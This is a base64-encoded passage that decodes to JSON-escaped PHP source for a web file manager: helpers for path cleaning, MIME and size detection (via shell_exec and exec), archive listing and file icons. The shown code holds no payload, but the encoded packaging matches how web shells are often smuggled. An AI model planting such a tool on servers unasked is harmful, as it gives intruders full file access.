ICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmb